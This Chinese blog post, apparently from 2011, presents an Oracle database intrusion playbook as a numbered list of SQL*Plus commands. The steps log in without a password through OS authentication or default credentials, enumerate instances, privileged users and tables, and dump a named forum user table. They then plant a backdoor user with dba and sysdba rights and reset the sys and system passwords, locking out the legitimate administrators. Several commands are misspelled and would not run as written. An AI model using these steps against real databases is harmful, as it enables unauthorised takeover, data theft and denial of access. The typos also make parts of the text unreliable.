龙盟编程博客 | 无障碍搜索 | 云盘搜索神器
快速搜索
主页 > 数据库类 > Oracle 技术 >

入侵Oracle数据库所使用的操作命令

时间:2011-04-12 23:18来源:未知 作者:admin 点击:
分享到:
本文主要讲述的是入侵 Oracle 数据库时我们经常使用的操作命令的相关整理,本文主要是按照步骤的讲解,来进行入侵Oracle数据库时的运用命令的整理。以下就是文章的详细内容的描述

本文主要讲述的是入侵Oracle数据库时我们经常使用的操作命令的相关整理,本文主要是按照步骤的讲解,来进行入侵Oracle数据库时的运用命令的整理。以下就是文章的详细内容的描述,希望你会有所收获。

1、su–Oracle不是必需,适合于没有DBA密码时使用,可以不用密码来进入sqlplus界面。

2、sqlplus /nolog 或sqlplus system/manager 或./sqlplus system/manager@ora9i;

3、SQL>connect / as sysdba ;(as sysoper)或

connect internal/oracle AS SYSDBA ;(scott/tiger)

conn sys/change_on_install as sysdba;

4、SQL>startup; 启动数据库实例

5、 查看当前的所有数据库:

  1. select * from v$database;   
  2. select name from v$database;   

desc v$databases; 查看Oracle数据库结构字段

6、怎样查看哪些用户拥有SYSDBA、SYSOPER权限:

  1. SQL>select * from V_$PWFILE_USERS;  

Show user;查看当前数据库连接用户

7、进入test数据库:database test;

8、查看所有的Oracle数据库实例:

  1. select * from v$instance; 

如:ora9i

9、查看当前库的所有数据表

  1. SQL> select TABLE_NAME from all_tables;   
  2. select * from all_tables;   
  3. SQL> select table_name from all_tables 
    where table_name like ´%u%´;   
  4. TABLE_NAME   
  5. _default_auditing_options_   

10、查看表结构:

  1. desc all_tables; 

11、显示CQI.T_BBS_XUSER的所有字段结构:

  1. desc CQI.T_BBS_XUSER; 

12、获得CQI.T_BBS_XUSER表中的记录:

  1. select * from CQI.T_BBS_XUSER;  

13、增加Oracle数据库用户:

  1. create user test11 identified by test default   
  2. tablespace users Temporary TABLESPACE Temp;  

14、用户授权:

  1. grant connect,resource,dba to test11;   
  2. grant sysdba to test11;   
  3. commit;  

15、更改Oracle数据库用户的密码:(将sys与system的密码改为test.)

  1. alter user sys indentified by test;   
  2. alter user system indentified by test;   

以上就是相关内容的部分描述,希望你会有所收获。

精彩图集

赞助商链接